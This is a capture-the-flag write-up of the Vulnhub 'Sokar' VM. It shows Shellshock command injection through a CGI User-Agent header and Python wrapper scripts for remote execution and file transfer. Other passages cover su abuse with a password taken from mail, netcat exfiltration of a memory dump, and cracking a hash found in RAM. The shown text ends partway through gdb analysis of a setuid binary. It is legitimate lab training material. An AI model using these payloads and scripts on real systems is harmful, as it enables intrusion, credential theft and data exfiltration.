introduction

Vulnhub is 0b10 years old. That is binary for 2 :) In order to celebrate this, @_RastaMouse created Sokar.

Sokar was used as another writeup competition (the first for 2015), similar to the Persistence challenge from Sep ‘14. From the competition announcement blogpost, the rules of engagement were pretty familiar. Boot the VM, pwn it via the network and find the flag. Of course, modifying the VM in order to help you get the flag (things like single user mode, rescue disks etc) are not allowed and you have to actually be able to prove how you got r00t.

Sokar frustrated me. A lot. However, almost all of the challenges and configurations of Sokar were plausible. Most of the vulnerabilities are valid in the sense that it may as well be out there in wild. So, it was a great learning experience once again!

Here is my entry for the competition. Enjoy! :)

a usual start

You know the drill. Download the VM, import it into your virtualization software, configure the network and start to fire nmap at it. I followed exactly these steps apart from using the usual netdiscover to determine the assigned IP address. Instead, I recently learnt about the built in VMWare Network Sniffer. So I figured it was time to give that a spin.

I knew which interface the network was bound to on my Mac, so I started the sniffer with sudo /Applications/VMware\ Fusion.app/Contents/Library/vmnet-sniffer vmnet1:

leonjza@laptop » sudo /Applications/VMware\ Fusion.app/Contents/Library/vmnet-sniffer vmnet1

[... snip IPv6 talky talky ...]

IP src 0.0.0.0         dst 255.255.255.255 UDP src port 68 dst port 67
IP src 192.168.217.254 dst 192.168.217.163 UDP src port 67 dst port 68

192.168.217.163. Great. This will be our target for a nmap scan. Sokar did not respond to pings, but that is no biggie. I see this many times in real world networks too, so heh. Don’t rely on ICMP traffic ;)

leonjza@kali/sokar $ nmap --reason 192.168.217.163 -p-

Starting Nmap 6.47 ( http://nmap.org ) at 2015-02-02 21:09 SAST
Nmap scan report for 192.168.217.163
Host is up, received arp-response (0.00027s latency).
Not shown: 65534 filtered ports
Reason: 65534 no-responses
PORT    STATE SERVICE  REASON
591/tcp open  http-alt syn-ack
MAC Address: 08:00:27:F2:40:DB (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 1133.72 seconds

One port open on tcp. tcp/591.

/cgi-bin/cat

The service on tcp/591 appeared to be a web server. The web server content updated every time it was requested. Inspection of the web page sources revealed the information is actually sourced from a HTML <iframe> to http://192.168.217.163:591/cgi-bin/cat. Requesting this page alone was the same stats, minus that creepy pink color ;)

I toyed around quite a bit with this webserver. The textbook approach of running wfuzz to discover some web paths, nikto to discover some interesting information etc. was used. Alas, none of these tools proved really useful.

Applying some more brain thingies to my current situation, I remembered the Shellshock bug disclosed in September 2014. The /cgi-bin path was the biggest hint towards it. I also remembered @mubix was keeping a Github repository of PoC’s for shellshock, and promptly started to try a few against the CGI path.

Eventually, this PoC was modified a little to get me some working command injection via shellshock:

leonjza@kali/sokar $ curl -i -X OPTIONS -H "User-Agent: () { :;};echo;/usr/bin/id" "http://192.168.217.163:591/cgi-bin/cat"
HTTP/1.1 200 OK
Date: Mon, 02 Feb 2015 21:23:07 GMT
Server: Apache/2.2.15 (CentOS)
Connection: close
Transfer-Encoding: chunked
Content-Type: text/plain; charset=UTF-8

uid=48(apache) gid=48(apache) groups=48(apache)

Yay. I was now able to execute commands as apache. This allowed me to enumerate a great deal of the machine with relative ease.

making life easier

Of course, constructing the curl request and header for every command that I wanted to run was starting to become boring really quickly. So, I slapped together some python that will accept an argument and execute the command (called shock.py):

#!/usr/bin/python

# Sokar Shellshock Command Execution
# 2015 Leon Jacobs

import requests
import sys

if len(sys.argv) < 2:

    print " * Usage %s <cmd>" % sys.argv[0]
    sys.exit(1)

# vuln@ curl -i -X OPTIONS -H "User-Agent: () { :;};echo;/bin/cat /etc/passwd" "http://192.168.217.163:591/cgi-bin/cat"
command = sys.argv[1].strip()
print " * Executing %s\n" % command

# prepare the sploit header
headers = { "User-Agent": "() { :;};echo;%s" % command }
print requests.get("http://192.168.217.163:591/cgi-bin/cat", headers=headers).text.strip()

Using the above script, I could now just do python shock.py "/usr/bin/id":

leonjza@kali/sokar $ python shock.py "/usr/bin/id"
 * Executing /usr/bin/id

uid=48(apache) gid=48(apache) groups=48(apache)

During the initial enumeration phase, I tried to build myself a reverse shell. I confirmed that netcat was available and that apache was allowed to execute it, however, all of my attempts failed. SELinux was disabled so that was not the problem. Eventually I started wondering about egress fire-walling and decided that it was time for a outbound port scan!

I was able to write to /tmp, but for some reason I was having a really hard time getting newlines and quotes escaped so that I could essentially echo <script source> >> /tmp/port_scan.py. Eventually I resorted to writing a helper called transfer.py that was used to copy files over from my local Kali Linux install to the Sokar VM. In the long run, this made it really easy to copy scripts and tools over to Sokar:

#!/usr/bin/python

# Sokar Shellshock File Transfer
# 2015 Leon Jacobs

import requests
import sys
import os
import binascii

def do_command(command):

    headers = { "User-Agent": "() { :;};echo;%s" % command }
    r = requests.options("http://192.168.217.163:591/cgi-bin/cat", headers=headers)

    if not r.status_code == 200:
        raise Exception(" ! Command %s failed")

if __name__ == "__main__":

    if len(sys.argv) < 3:

        print " * Usage %s <source> <destination>" % sys.argv[0]
        sys.exit(1)

    # vuln@ curl -i -X OPTIONS -H "User-Agent: () { :;};echo;/bin/cat /etc/passwd" "http://192.168.217.163:591/cgi-bin/cat"
    source = sys.argv[1].strip()
    destination = sys.argv[2].strip()
    print " * Starting transfer of local '%s' to remote '%s'" % (source, destination)

    hex_destination_file = "/tmp/" + binascii.b2a_hex(os.urandom(15)) + ".txt"
    print " * Temp file on remote will be: %s" % hex_destination_file

    # prepare a hex version of the local file
    with open(source) as f:
        source_file = f.read()

    # encode and split the source into chunks of 60
    source_file = source_file.encode('hex')
    source_data = {}
    source_data = [source_file[i:i+60] for i in range(0, len(source_file), 60)]

    print " * Transferring %d chunks to %s" % (len(source_data), hex_destination_file)
    iteration = 1
    for chunk in source_data:

        # check if it is start of file or append
        if iteration == 1:
            append = ">"
        else:
            append = ">>"

        # prepare the command and run it
        command = "echo '%s' %s %s" % (chunk, append, hex_destination_file)
        do_command(command)

        print " * Chunk %d/%d transferred" % (iteration, len(source_data))
        iteration += 1

    print " * Decoding hex on remote"
    command = "/usr/bin/xxd -r -p %s > %s" % (hex_destination_file, destination)
    do_command(command)

    print " * Cleaning up temp file %s" % hex_destination_file
    command = "/bin/rm -f %s" %  hex_destination_file
    do_command(command)

    print " * Local '%s' transferred to remote '%s'" % (source, destination)

egress firewalls le-suck

With the file transfer script done, I coded up a small ‘port scanner’ (though all it really does is try to connect to a port and move on to the next within 0.1s):

#!/usr/bin/python

# Sokar Egress Port Scanner
# 2015 Leon Jacobs

import socket

for port in xrange(1, 65535):

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(0.1)
    print "Trying port %d" % port
    sock.connect_ex(("192.168.217.174", port))
    sock.close()

… and transferred it to Sokar using my transfer.py script:

leonjza@kali/sokar $ python transfer.py port_scan.py /tmp/port_scan.py
 * Starting transfer of local 'port_scan.py' to remote '/tmp/port_scan.py'
 * Temp file on remote will be: /tmp/cf8ca858a40ecf06741824362c37df.txt
 * Transferring 10 chunks to /tmp/cf8ca858a40ecf06741824362c37df.txt
 * Chunk 1/10 transferred
 * Chunk 2/10 transferred
 * Chunk 3/10 transferred
 * Chunk 4/10 transferred
 * Chunk 5/10 transferred
 * Chunk 6/10 transferred
 * Chunk 7/10 transferred
 * Chunk 8/10 transferred
 * Chunk 9/10 transferred
 * Chunk 10/10 transferred
 * Decoding hex on remote
 * Cleaning up temp file /tmp/cf8ca858a40ecf06741824362c37df.txt
 * Local 'port_scan.py' transferred to remote '/tmp/port_scan.py'

I also opened up a tcpdump on my local Kali Linux VM, filtering out tcp/591 as well as arp traffic:

leonjza@kali/sokar $ tcpdump -i eth1 not arp and not port 591
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes

Finally, I fired the scanner off using the previously developed shock.py script:

leonjza@kali/sokar $ python shock.py "/usr/bin/python /tmp/port_scan.py"
 * Executing /usr/bin/python /tmp/port_scan.py

I waited… a really long time. I know poking at 65535 ports takes quite some time too so off I went to do other things. After quite some time, I returned to Sokar, to find that the tcpdump had no responses. I fiddled around with the scripts to check that I did not make a mistake but eventually I had to come to the conclusion that all outbound traffic is being filtered. Drat.

bynarr the fruit

Not having an interactive shell was not the end of the world. Instead of fussing about that I decided to move on to poking around some more. Enumeration revealed that /home/bynarr was readable to me. In there was what looked like a kernel module lime.ko and a script called lime to insmod it. Both were owned by root:

leonjza@kali/sokar $ python shock.py "/bin/cat /home/bynarr/lime"
 * Executing /bin/cat /home/bynarr/lime

#!/bin/bash
echo """
==========================
Linux Memory Extractorator
==========================
"
echo "LKM, add or remove?"
echo -en "> "

read -e input

if [ $input == "add" ]; then

    /sbin/insmod /home/bynarr/lime.ko "path=/tmp/ram format=raw"

elif [ $input == "remove" ]; then

    /sbin/rmmod lime

else

    echo "Invalid input, burn in the fires of Netu!"

fi

I knew that the chances were slim that it would allow me to run insmod as apache, but ofc I tried running the script regardless. Due to the fact that the file called /tmp/ram was not created after running python shock.py "echo \"add\" | /home/bynarr/lime", I assumed it failed.

Later, some more enumeration finally got me to /var/spool/mail/bynarr with a message with the following contents:

leonjza@kali/sokar $ python shock.py "/bin/cat /var/spool/mail/bynarr"
 * Executing /bin/cat /var/spool/mail/bynarr

Return-Path: <root@sokar>
Delivered-To: bynarr@localhost
Received:  from root by localhost
To: <bynarr@sokar>
Date: Thu, 13 Nov 2014 22:04:31 +0100
Subject: Welcome

Dear Bynarr.  Welcome to Sokar Inc. Forensic Development Team.
A user account has been setup for you.

UID 500 (bynarr)
GID 500 (bynarr)
    501 (forensic)

Password 'fruity'.  Please change this ASAP.
Should you require, you've been granted outbound ephemeral port access on 51242, to transfer non-sensitive forensic dumps out for analysis.

All the best in your new role!

  -Sokar-

I confirmed that bynarr was in the groups mentioned in the mail:

leonjza@kali/sokar $ python shock.py "/usr/bin/id bynarr"
 * Executing /usr/bin/id bynarr

uid=500(bynarr) gid=501(bynarr) groups=501(bynarr),500(forensic)

What confused me here was the mention of “outbound ephemeral port access on 51242”. I reduced my port scanners range to only scan from 51240 to 51250 to confirm this. I transferred the updated port scanner to Sokar, opened up a new tcpdump session and waited anxiously. tcp/51242 outbound still appeared to be closed.

Of course, the most valuable piece of information was definitely the password fruity. Now, remember, I have a limited shell. Not a interactive one. I have been interfacing with Sokar only via python scripts which are executing commands via Shellshock HTTP requests.

Essentially, the easiest way for me to become bynarr (assuming fruity really is the password), would be to su right? Sounds like a 2 sec job. Well, it wasn’t :( Instead, I got caught up in a whole bunch of interesting situations where su expects a password via stdin, requires a valid tty (which I don’t have) and will spawn a shell for me to interact with (which I can’t). Quite some time later, I got closer to becoming bynarr with something like echo fruity | su bynarr. To add to the pain, my shellshock shell also did not have a proper environment, so I had to prefix most commands with their full paths. Luckily though $(which id) came in very handy and saved some time. In retrospect, I could have probably just exported PATH as required, but heh.

Fast forward some time, I came across this SANS blogpost, which details on the topic of some ‘stealthy’ su shells. Most importantly, the example of (sleep 1; echo password) | python -c "import pty; pty.spawn(['/bin/su','-c','whoami']);" got me the closest to bynarr. Toying around with this a little, I realized that for some reason, the ( and ) characters were messing around, so I replaced that section with some python too. After a whole bunch attempts, I eventually got this to work:

/usr/bin/python -c "import time; time.sleep(1); print 'fruity'" | /usr/bin/python -c "import pty; pty.spawn(['/bin/su','-c','id', 'bynarr']);"

(Basically, spawn a tty; attempt to su specifying the command to run with -c, then 1 second later, echo fruity to the Password prompt and execute id as bynarr)

leonjza@kali/sokar $ python shock.py "/usr/bin/python -c \"import time; time.sleep(1); print 'fruity'\" | /usr/bin/python -c \"import pty; pty.spawn(['/bin/su','-c','id', 'bynarr']);\""
 * Executing /usr/bin/python -c "import time; time.sleep(1); print 'fruity'" | /usr/bin/python -c "import pty; pty.spawn(['/bin/su','-c','id', 'bynarr']);"

Password:
uid=500(bynarr) gid=501(bynarr) groups=501(bynarr),500(forensic)

:D As this is actually a Shellshock request, the full User-Agent header therefore was:

() { :;};echo;/usr/bin/python -c "import time; time.sleep(1); print 'fruity'" | /usr/bin/python -c "import pty; pty.spawn(['/bin/su','-c','id', 'bynarr']);"

Again, constructing that every time I want to execute something as bynarr would have been le-suck, so I made another wrapper script:

#!/usr/bin/python

# Sokar 'bynarr' command execution
# 2015 Leon Jacobs

import requests
import sys

if len(sys.argv) < 2:

    print " * Usage %s <cmd>" % sys.argv[0]
    sys.exit(1)

command = sys.argv[1].strip()
payload = """/usr/bin/python -c "import time; time.sleep(1); print 'fruity'" | /usr/bin/python -c "import pty; pty.spawn(['/bin/su','-c','%s', 'bynarr']);" """ % command
print " * Executing %s\n" % payload

# prepare the sploit header
headers = { "User-Agent": "() { :;};echo;%s" % payload }
print requests.get("http://192.168.217.163:591/cgi-bin/cat", headers=headers).text.strip()

All I have to do to get the output of id is provide it as a argument to bynarr.py:

leonjza@kali/sokar $ python bynarr.py "id"
 * Executing /usr/bin/python -c "import time; time.sleep(1); print 'fruity'" | /usr/bin/python -c "import pty; pty.spawn(['/bin/su','-c','id', 'bynarr']);"

Password:
uid=500(bynarr) gid=501(bynarr) groups=501(bynarr),500(forensic)

the scary linux memory extractor

With command access as bynarr and remembering the mention of tcp/51242 outbound connectivity, I once more try and run the port scanner that got copied to /tmp:

leonjza@kali/sokar $ python bynarr.py "/usr/bin/python /tmp/port_scan.py"
 * Executing /usr/bin/python -c "import time; time.sleep(1); print 'fruity'" | /usr/bin/python -c "import pty; pty.spawn(['/bin/su','-c','/usr/bin/python /tmp/port_scan.py', 'bynarr']);"

Password:
Trying port 51240
Trying port 51241
Trying port 51242
Trying port 51243
Trying port 51244
Trying port 51245
Trying port 51246
Trying port 51247
Trying port 51248
Trying port 51249

Checking the tcpdump output of this run…:

leonjza@kali/sokar $ tcpdump -i eth1 not arp and not port 591
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
07:33:43.178113 IP 192.168.217.163.40371 > 192.168.217.174.51242: Flags [S], seq 594732851, win 14600, options [mss 1460,sackOK,TS val 2274844 ecr 0,nop,wscale 4], length 0
07:33:43.178129 IP 192.168.217.174.51242 > 192.168.217.163.40371: Flags [R.], seq 0, ack 594732852, win 0, length 0

… I finally see something coming out of Sokar! So bynarr is able to talk out on tcp/51242. Wut. Taking a few moments to think about this, I remembered that iptables is able to filter by user id using the owner module. At this stage, this was the only thing that made sense why apache would not be able to talk out on this port, but bynarr can.

So with that out the way, it was time to focus on this lime thing. bynarr was allowed to run /home/bynarr/lime as root via sudo without a password (as I suspected for the insmod):

leonjza@kali/sokar $ python bynarr.py "sudo -l"
 * Executing /usr/bin/python -c "import time; time.sleep(1); print 'fruity'" | /usr/bin/python -c "import pty; pty.spawn(['/bin/su','-c','sudo -l', 'bynarr']);"

Password:
Matching Defaults entries for bynarr on this host:
    !requiretty, visiblepw, always_set_home, env_reset, env_keep="COLORS
    DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
    PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
    LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
    LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User bynarr may run the following commands on this host:
    (ALL) NOPASSWD: /home/bynarr/lime

I had no freaking idea what lime even really is, so, to the Gooooogles I went and came across this: https://github.com/504ensicsLabs/LiME. A forensics tool thingy thing. It seems like I will get to crawl through a dump of the current memory. Cool ;p

I ran the script to insmod the lime.ko, this time with sudo:

leonjza@kali/sokar $ python bynarr.py "echo \"add\" | sudo /home/bynarr/lime"
 * Executing /usr/bin/python -c "import time; time.sleep(1); print 'fruity'" | /usr/bin/python -c "import pty; pty.spawn(['/bin/su','-c','echo "add" | sudo /home/bynarr/lime', 'bynarr']);"

Password:

==========================
Linux Memory Extractorator
==========================

LKM, add or remove?
>

I checked /tmp for the existence of the ram file and it was present. Looks like it worked :D. A quick note here. When I imported the VM initially, I upped the memory to 2GB. It was set to only have 256Mb by default which I thought was a little low. Sokar has limited disk space, so I was not getting the full memory dump. When I eventually noticed this, I reduced it back to the initial 256Mb and worked from there.

Remembering the outbound port access, I opened a netcat listener on my local Kali linux to redirect a incoming file to a local ram file with nc -lvp 51242 > ram. Then, using my wrapper script bynarr.py again, I redirected the /tmp/ram file out over the netcat connection with: python bynarr.py "/usr/bin/nc 192.168.217.174 51242 < /tmp/ram". I now had a memory dump of Sokar on my local Kali Linux.

It was at this stage that I went down the wrong rabbit hole. Volatility was the first thing that came to mind when I saw this speak of memory dumps and what not. Having always just had this on my todo list, I figured that this was the perfect opportunity to finally give it a spin. I followed most of the docs to try and match the exact same kernel version as Sokar had (I have a number of CentOS VM’s) and prepared a profile as required. Short version, it failed. I was not able to get Volatility to give me anything useful. Eventually I reconsidered my approach and went back to trusty ‘ol strings.

I had to think a bit about what could possibly be useful in memory for me now. I noticed the user apophis had a home directory that I have not yet been able to access, so I promptly grepped the ram image for this user:

leonjza@kali/sokar $ strings ram | grep apophis

[... snip ...]

apophis:[snip]0HQCZwUJ$rYYSk9SeqtbKv3aEe3kz/RQdpcka8K.2NGpPveVrE5qpkgSLTtE.Hvg0egWYcaeTYau11ahsRAWRDdT8jPltH.:16434:0:99999:7:::

wut. Why… wait a sec. Why the heck is a password hash in memory now. Dont think there has been any activity for this user yet… but clearly I don’t understand half of the technicalities here :( But hey. Lets run it through john:

leonjza@kali/sokar $ john passwd --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Loaded 1 password hash (sha512crypt [32/32])
overdrive        (apophis)
guesses: 1  time: 0:00:01:51 DONE (Sat Jan 31 20:35:42 2015)  c/s: 327  trying: parati - nicole28
Use the "--show" option to display all of the cracked passwords reliably

apophis:overdrive.

build the clone to the hook

To get command execution as apophis.py I copied the bynarr.py script to make apophis.py, changing the username and the password.

leonjza@kali/sokar $ python apophis.py "id"
 * Executing /usr/bin/python -c "import time; time.sleep(2); print 'overdrive'" | /usr/bin/python -c "import pty; pty.spawn(['/bin/su', '-l', '-c','id', 'apophis']);"

Password:
uid=501(apophis) gid=502(apophis) groups=502(apophis)

There we go! Command execution as apophis :) In /home/apophis there was a suid (for root) binary called build:

leonjza@kali/sokar $ python apophis.py "ls -lah /home/apophis"
 * Executing /usr/bin/python -c "import time; time.sleep(2); print 'overdrive'" | /usr/bin/python -c "import pty; pty.spawn(['/bin/su', '-l', '-c','ls -lah /home/apophis', 'apophis']);"

Password:
total 36K
drwx------  2 apophis apophis 4.0K Jan  2 20:12 .
drwxr-xr-x. 4 root    root    4.0K Dec 30 19:20 ..
-rw-------  1 apophis apophis    9 Feb  2 20:55 .bash_history
-rw-r--r--  1 apophis apophis   18 Feb 21  2013 .bash_logout
-rw-r--r--  1 apophis apophis  176 Feb 21  2013 .bash_profile
-rw-r--r--  1 apophis apophis  124 Feb 21  2013 .bashrc
-rwsr-sr-x  1 root    root    8.3K Jan  2 17:49 build

I thought I would copy this build binary off the box as I don’t exactly have a nice interactive shell to work with yet. apophis was also not able to to connect via tcp/51242 outbound, which further confirmed my suspicions on the user module being used in iptables. I copied the binary to /tmp/build and pushed it out via netcat as bynarr (using my helper script) towards my local Kali linux install. Finally I had build locally to play with.

I later noticed it was a 64bit binary, so I had to move it over to my 64bit install of Kali Linux to inspect further. Running it asked you if you wanted to ‘build?':

leonjza@kali/sokar $ ./build
Build? (Y/N) Y
Cloning into '/mnt/secret-project'...
ssh: Could not resolve hostname sokar-dev:: Name or service not known
fatal: The remote end hung up unexpectedly

That looks very much like the output of a git clone attempt. Knowing what the binary expects now, I continued to run this on Sokar via my Shellshock wrapper for apophis:

leonjza@kali/sokar $ python apophis.py "echo Y | /home/apophis/build"
 * Executing /usr/bin/python -c "import time; time.sleep(2); print 'overdrive'" | /usr/bin/python -c "import pty; pty.spawn(['/bin/su', '-l', '-c','echo Y | /home/apophis/build', 'apophis']);"

Password:
Cloning into '/mnt/secret-project'...
ssh: Could not resolve hostname sokar-dev: Temporary failure in name resolution
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
Build? (Y/N)

The same hostname resolution failure occurred. Hmm. Thinking about this, it looks like it is trying to clone a repository (as root??) to /mnt/secret-project from sokar-dev which does not resolve.

the impossible b0f

I was very unsure about what the next move should be. Playing around some more with the binary, it appeared as though there may be a buffer overflow problem when providing a answer to build.:

leonjza@kali/sokar $ ./build
Build? (Y/N) YY
*** buffer overflow detected ***: ./build terminated
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x37)[0x2b53e6df5fe7]
/lib/x86_64-linux-gnu/libc.so.6(+0xefea0)[0x2b53e6df4ea0]
/lib/x86_64-linux-gnu/libc.so.6(__gets_chk+0x195)[0x2b53e6df4df5]
./build(main+0xea)[0x2b53e68e29d9]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd)[0x2b53e6d23ead]
./build(+0x7d9)[0x2b53e68e27d9]
======= Memory map: ========
2b53e68e2000-2b53e68e3000 r-xp 00000000 fe:00 667555                     /root/sokar/build
2b53e68e3000-2b53e68e7000 rwxp 00000000 00:00 0
2b53e6900000-2b53e6902000 rwxp 00000000 00:00 0
2b53e6ae2000-2b53e6ae3000 rwxp 00000000 fe:00 667555                     /root/sokar/build
2b53e6ae3000-2b53e6b03000 r-xp 00000000 fe:00 532890                     /lib/x86_64-linux-gnu/ld-2.13.so
2b53e6d02000-2b53e6d03000 r-xp 0001f000 fe:00 532890                     /lib/x86_64-linux-gnu/ld-2.13.so
2b53e6d03000-2b53e6d04000 rwxp 00020000 fe:00 532890                     /lib/x86_64-linux-gnu/ld-2.13.so
2b53e6d04000-2b53e6d05000 rwxp 00000000 00:00 0
2b53e6d05000-2b53e6e87000 r-xp 00000000 fe:00 534538                     /lib/x86_64-linux-gnu/libc-2.13.so
2b53e6e87000-2b53e7087000 ---p 00182000 fe:00 534538                     /lib/x86_64-linux-gnu/libc-2.13.so
2b53e7087000-2b53e708b000 r-xp 00182000 fe:00 534538                     /lib/x86_64-linux-gnu/libc-2.13.so
2b53e708b000-2b53e708c000 rwxp 00186000 fe:00 534538                     /lib/x86_64-linux-gnu/libc-2.13.so
2b53e708c000-2b53e7091000 rwxp 00000000 00:00 0
2b53e7091000-2b53e70a6000 r-xp 00000000 fe:00 523276                     /lib/x86_64-linux-gnu/libgcc_s.so.1
2b53e70a6000-2b53e72a6000 ---p 00015000 fe:00 523276                     /lib/x86_64-linux-gnu/libgcc_s.so.1
2b53e72a6000-2b53e72a7000 rwxp 00015000 fe:00 523276                     /lib/x86_64-linux-gnu/libgcc_s.so.1
2b53e886b000-2b53e888c000 rwxp 00000000 00:00 0                          [heap]
7fff340b7000-7fff340d8000 rwxp 00000000 00:00 0                          [stack]
7fff341eb000-7fff341ed000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
[1]    18571 abort      ./build

I slapped build into gdb to take a closer look at the potential overflow as well as the security features that build has been compiled with:

leonjza@kali/sokar $ gdb -q ./build
Reading symbols from /root/sokar/build...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : ENABLED
NX        : disabled
PIE       : ENABLED
RELRO     : disabled

:O The CANARY explains the failure in __fortify_fail. Disassembly of the main function reveals a call to __gets_chk which is responsible for the canary validation:

gdb-peda$ disass main
Dump of assembler code for function main:

 [... snip ...]

   0x00000000000009cc <+221>:   mov    esi,0x2
   0x00000000000009d1 <+226>:   mov    rdi,rbx
   0x00000000000009d4 <+229>:   call   0x760 <__gets_chk@plt>
   0x00000000000009d9 <+234>:   lea    rsi,[rbp-0x30]
   0x00000000000009dd <+238>:   mov    rdi,rbx
   0x00000000000009e0 <+241>:   call   0x790 <strcmp@plt>
   0x00000000000009e5 <+246>:   test   eax,eax

 [... snip ...]

It is possible that the original source was using gets() without a bounds check, but is compiled with SSP. This coupled with the fact that it is a 64bit binary and Sokar having ASLR enabled, made my head hurt. In fact, I was very demotivated at this stage as exploitation under these scenarios is very difficult.

I fiddled around a little more with the binary, and inspected the call to encryptDecrypt:

gdb-peda$ disass encryptDecrypt
Dump of assembler code for function encryptDecrypt:
   0x00000000000008ac <+0>: mov    rdx,rdi
   0x00000000000008af <+3>: mov    r9d,0x0
   0x00000000000008b5 <+9>: mov    r11,0xffffffffffffffff
   0x00000000000008bc <+16>:    mov    r10,rdi
   0x00000000000008bf <+19>:    mov    eax,0x0
   0x00000000000008c4 <+24>:    jmp    0x8d6 <encryptDecrypt+42>
   0x00000000000008c6 <+26>:    movzx  ecx,BYTE PTR [rdx+r8*1]
   0x00000000000008cb <+31>:    xor    ecx,0x49
   0x00000000000008ce <+34>:    mov    BYTE PTR [rsi+r8*1],cl
   0x00000000000008d2 <+38>:    add    r9d,0x1
   0x00000000000008d6 <+42>:    movsxd r8,r9d
   0x00000000000008d9 <+45>:    mov    rcx,r11
   0x00000000000008dc <+48>:    mov    rdi,r10
   0x00000000000008df <+51>:    repnz scas al,BYTE PTR es:[rdi]
   0x00000000000008e1 <+53>:    not    rcx
   0x00000000000008e4 <+56>:    sub    rcx,0x1
   0x00000000000008e8 <+60>:    cmp    r8,rcx
   0x00000000000008eb <+63>:    jb     0x8c6 <encryptDecrypt+26>
   0x00000000000008ed <+65>:    repz ret
End of assembler dump.

This together with pseudo code generated by Hopper helped me understand the encryptDecrypt function running a xor with I as the key over a string.

void encryptDecrypt(int arg0, int arg1) {
    rsi = arg1;
    rdx = arg0;
    LODWORD(r9) = 0x0;
    r10 = arg0;
    do {
            r8 = sign_extend_64(LODWORD(r9));
            asm{ repne scasb  };
            if (r8 >= !0xffffffffffffffff - 0x1) {
                break;
            }
            *(int8_t *)(rsi + r8) = LOBYTE(LODWORD(*(int8_t *)(rdx + r8) & 0xff) ^ 0x49);
            LODWORD(r9) = LODWORD(r9) + 0x1;
    } while (true);
    return;
}

Running the binary in gdb and setting a breakpoint before the system() call, we are able to inspect the 64bit registers, which cleanly reveal the encrypted and decrypted versions of the string to be executed.

sokar # gdb -q ./build
gdb-peda$ r
Build? (Y/N) n
OK :(
[Inferior 1 (process 4450) exited with code 06]
Warning: not running or target is remote
gdb-peda$ b *0x0000555555554a38
Breakpoint 1 at 0x555555554a38
gdb-peda$ r
Build? (Y/N) Y
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffffffe740 ("/usr/bin/git clone ssh://root@sokar-dev:/root/secret-project /mnt/secret-project/")
RCX: 0x7ffff7b26e99 (<setreuid+25>: cmp    rax,0xfffffffffffff000)
RDX: 0x7fffffffe7a0 ("f<:;f+ 'f. =i*%&',i::!sff;&&=\t:&\"(;d-,?sf;&&=f:,*;,=d9;&#,*=if$'=f:,*;,=d9;&#,*=f")
RSI: 0x0
RDI: 0x7fffffffe740 ("/usr/bin/git clone ssh://root@sokar-dev:/root/secret-project /mnt/secret-project/")
RBP: 0x7fffffffe830 --> 0x0
RSP: 0x7fffffffe740 ("/usr/bin/git clone ssh://root@sokar-dev:/root/secret-project /mnt/secret-project/")
RIP: 0x555555554a38 (<main+329>:    mov    eax,0x0)
R8 : 0x51 ('Q')
R9 : 0x51 ('Q')
R10: 0x0
R11: 0x246
R12: 0x7fffffffe7a0 ("f<:;f+ 'f. =i*%&',i::!sff;&&=\t:&\"(;d-,?sf;&&=f:,*;,=d9;&#,*=if$'=f:,*;,=d9;&#,*=f")
R13: 0x7fffffffe910 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555554a2b <main+316>:   mov    eax,0x0
   0x555555554a30 <main+321>:   call   0x5555555547a0 <setreuid@plt>
   0x555555554a35 <main+326>:   mov    rdi,rbx
=> 0x555555554a38 <main+329>:   mov    eax,0x0
   0x555555554a3d <main+334>:   call   0x555555554750 <system@plt>
   0x555555554a42 <main+339>:   mov    rsp,r12
   0x555555554a45 <main+342>:   jmp    0x555555554a5d <main+366>
   0x555555554a47 <main+344>:   lea    rsi,[rip+0x12c]        # 0x555555554b7a
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe740 ("/usr/bin/git clone ssh://root@sokar-dev:/root/secret-project /mnt/secret-project/")
0008| 0x7fffffffe748 ("/git clone ssh://root@sokar-dev:/root/secret-project /mnt/secret-project/")
0016| 0x7fffffffe750 ("ne ssh://root@sokar-dev:/root/secret-project /mnt/secret-project/")
0024| 0x7fffffffe758 ("/root@sokar-dev:/root/secret-project /mnt/secret-project/")
0032| 0x7fffffffe760 ("kar-dev:/root/secret-project /mnt/secret-project/")
0040| 0x7fffffffe768 ("/root/secret-project /mnt/secret-project/")
0048| 0x7fffffffe770 ("cret-project /mnt/secret-project/")
0056| 0x7fffffffe778 ("ject /mnt/secret-project/")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0000555555554a38 in main ()
gdb-peda$ x/x $rbx
0x7fffffffe740: 0x2f
gdb-peda$ x/s $rbx
0x7fffffffe740:  "/usr/bin/git clone ssh://root@sokar-dev:/root/secret-project /mnt/secret-project/"
gdb-peda$ x/s $rdx
0x7fffffffe7a0:  "f<:;f+ 'f. =i*%&',i::!sff;&&=\t:&\"(;d-,?sf;&&=f:,*;,=d9;&#,*=if$'=f:,*;,=d9;&#,*=f"
gdb-peda$

